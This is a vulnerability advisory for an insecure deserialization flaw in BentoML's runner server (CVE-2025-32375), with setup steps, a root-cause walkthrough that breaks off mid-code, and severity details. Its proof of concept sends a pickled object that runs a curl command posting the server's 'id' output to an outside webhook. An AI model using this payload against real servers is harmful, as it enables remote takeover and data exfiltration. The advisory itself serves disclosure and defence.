BentoML's runner server Vulnerable to Remote Code Execution (RCE) via Insecure Deserialization

### Summary There was an insecure deserialization in BentoML's runner server. By setting specific headers and parameters in the POST request, it is possible to execute any unauthorized arbitrary code on the server, which will grant the attackers to have the initial access and information disclosure on the server. ### PoC - First, create a file named **model.py** to create a simple model and save it ``` import bentoml import numpy as np class mymodel: def predict(self, info): return np.abs(info) def __call__(self, info): return self.predict(info) model = mymodel() bentoml.picklable_model.save_model("mymodel", model) ``` - Then run the following command to save this model ``` python3 model.py ``` - Next, create **bentofile.yaml** to build this model ``` service: "service.py" description: "A model serving service with BentoML" python: packages: - bentoml - numpy models: - tag: MyModel:latest include: - "*.py" ``` - Then, create **service.py** to host this model ``` import bentoml from bentoml.io import NumpyNdarray import numpy as np model_runner = bentoml.picklable_model.get("mymodel:latest").to_runner() svc = bentoml.Service("myservice", runners=[model_runner]) async def predict(input_data: np.ndarray): input_columns = np.split(input_data, input_data.shape[1], axis=1) result_generator = model_runner.async_run(input_columns, is_stream=True) async for result in result_generator: yield result ``` - Then, run the following commands to build and host this model ``` bentoml build bentoml start-runner-server --runner-name mymodel --working-dir . --host 0.0.0.0 --port 8888 ``` - Finally, run this below python script to exploit insecure deserialization vulnerability in BentoML's runner server. ``` import requests import pickle url = "http://0.0.0.0:8888/" headers = { "args-number": "1", "Content-Type": "application/vnd.bentoml.pickled", "Payload-Container": "NdarrayContainer", "Payload-Meta": '{"format": "default"}', "Batch-Size": "-1", } class P: def __reduce__(self): return (__import__('os').system, ('curl -X POST -d "$(id)" https://webhook.site/61093bfe-a006-4e9e-93e4-e201eabbb2c3',)) response = requests.post(url, headers=headers, data=pickle.dumps(P())) print(response) ``` And I can replace the **NdarrayContainer** with **PandasDataFrameContainer** in **Payload-Container** header and the exploit still working. After running **exploit.py** then the output of the command **id** will be send out to the WebHook server. ### Root Cause Analysis: - When handling a request in BentoML runner server in `src/bentoml/_internal/server/runner_app.py`, when the request header `args-number` is equal to 1, it will call the function `_deserialize_single_param` like the code below: ``` https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/server/runner_app.py#L291-L298 async def _request_handler(request: Request) -> Response: assert self._is_ready arg_num = int(request.headers["args-number"]) r_: bytes = await request.body() if arg_num == 1: params: Params[t.Any] = _deserialize_single_param(request, r_) ``` - Then this is the function of `_deserialize_single_param`, which will take the value of all request headers of `Payload-Container`, `Payload-Meta` and `Batch-Size` and the crafted into `Payload` class which will contain the data from `request.body` ``` https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/server/runner_app.py#L376-L393 def _deserialize_single_param(request: Request, bs: bytes) -> Params[t.Any]: container = request.headers["Payload-Container"] meta = json.loads(request.headers["Payload-Meta"]) batch_size = int(request.headers["Batch-Size"]) kwarg_name = request.headers.get("Kwarg-Name") payload = Payload( data=bs, meta=meta, batch_size=batch_size, container=container, ) if kwarg_name: d = {kwarg_name

CVSS 3.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Severity from

GitHub (reviewed advisory)

Weakness

CWE-502

Also known as

CVE-2025-32375, PYSEC-2025-32

• github.com/bentoml/BentoML/security/advisories/GHSA-7v4r-c989-xh26
• nvd.nist.gov/vuln/detail/CVE-2025-32375
• github.com/bentoml/BentoML
• github.com/pypa/advisory-database/tree/main/vulns/bentoml/PYSEC-2025-32.yaml